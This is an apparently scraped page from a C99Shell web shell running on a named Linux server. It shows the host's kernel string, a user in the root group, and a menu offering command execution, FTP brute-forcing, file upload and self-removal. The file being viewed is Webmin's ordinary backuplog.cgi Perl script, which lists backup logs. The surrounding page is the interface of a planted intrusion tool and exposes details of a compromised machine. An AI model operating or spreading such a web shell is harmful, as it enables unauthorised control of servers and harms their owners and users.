!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     backuplog.cgi (3.1 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show logs of backups this user has permissions on

require './virtual-server-lib.pl';
&ReadParse();
&can_backup_log() || &error($text{'backuplg_ecannot'});
&ui_print_header(undef, $text{'backuplog_title'}, "");

# Show search form
print &ui_form_start("backuplog.cgi");
print "<b>$text{'backuplog_search'}</b>\n";
print &ui_textbox("search", $in{'search'}, 30);
print &ui_submit($text{'backuplog_ok'});
print &ui_form_end(),"<p>\n";

# Get backups to list
$days = $in{'sched'} ? 365 : ($config{'backuplog_days'} || 7);
@logs = &list_backup_logs($in{'search'} ? undef : time()-24*60*60*$days);
if ($in{'search'}) {
    @logs = grep { $_->{'user'} eq $in{'search'} ||
               $_->{'doms'} =~ /\Q$in{'search'}\E/i ||
               $_->{'dest'} =~ /\Q$in{'search'}\E/i } @logs;
    }
elsif ($in{'sched'}) {
    ($sched) = grep { $_->{'id'} eq $in{'sched'} }
            &list_scheduled_backups();
    $sched || &error($text{'backuplg_esched'});
    @logs = grep { $_->{'sched'} eq $in{'sched'} } @logs;
    }
$anylogs = scalar(@logs);
@logs = grep { &can_backup_log($_) } @logs;

# Tell the user what he is searching for
if ($in{'search'}) {
    print &text('backuplog_match',
            "<i>".&html_escape($in{'search'})."</i>"),"<br>\n";
    }
elsif ($in{'sched'}) {
    @dests = &get_scheduled_backup_dests($sched);
    @nices = map { &nice_backup_url($_, 1) } @dests;
    print &text('backuplog_sched', $nices[0]),"<br>\n";
    }
else {
    print &text('backuplog_days', $days),"<br>\n";
    }

if (@logs) {
    # Show in a table
    @table = ( );
    $hasdesc = 0;
    foreach $log (@logs) {
        $hasdesc++ if ($log->{'desc'});
        }
    foreach $log (sort { $b->{'start'} <=> $a->{'start'} } @logs) {
        @dnames = &backup_log_own_domains($log);
        next if (!@dnames);
        $ddesc = scalar(@dnames) == 0 ?
                $text{'backuplog_nodoms'} :
             scalar(@dnames) <= 2 ?
                join(", ", @dnames) :
                &text('backuplog_doms', scalar(@dnames));
        push(@table, [
            "<a href='view_backuplog.cgi?id=".&urlize($log->{'id'}).
             "&search=".&urlize($in{'search'})."'>".
             &nice_backup_url($log->{'dest'}, 1)."</a>",
            $ddesc,
            $hasdesc ? ( &html_escape($log->{'desc'}) ) : ( ),
                $log->{'user'} || "<i>root</i>",
            &make_date($log->{'start'}),
            &short_nice_hour_mins_secs(
                $log->{'end'} - $log->{'start'}),
            $log->{'increment'} == 1 ? $text{'viewbackup_inc1'} :
                           $text{'viewbackup_inc0'},
            &nice_size($log->{'size'}),
            $log->{'ok'} && !$log->{'errdoms'} ? $text{'backuplog_status_ok'} :
             $log->{'ok'} && $log->{'errdoms'} ?
              &ui_text_color($text{'backuplog_status_partial'}, 'warn') :
              &ui_text_color($text{'backuplog_status_failed'}, 'danger')
            ]);
        }
    print &ui_columns_table([ $text{'sched_dest'}, $text{'sched_doms'},
                  $hasdesc ? ( $text{'backuplog_desc'} ) : ( ),
                  $text{'backuplog_who'},
                  $text{'backuplog_when'},
                  $text{'backuplog_len'},
                  $text{'backuplog_incr'},
                  $text{'backuplog_size'},
                  $text{'backuplog_status'} ],
                100, \@table);
                  
    }
else {
    # None found
    print "<b>",($in{'search'} ? $text{'backuplog_nomatch'} :
             $anylogs ? $text{'backuplog_none2'} :
                $text{'backuplog_none'}),"</b><p>\n";
    }

&ui_print_footer("", $text{'index'});


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--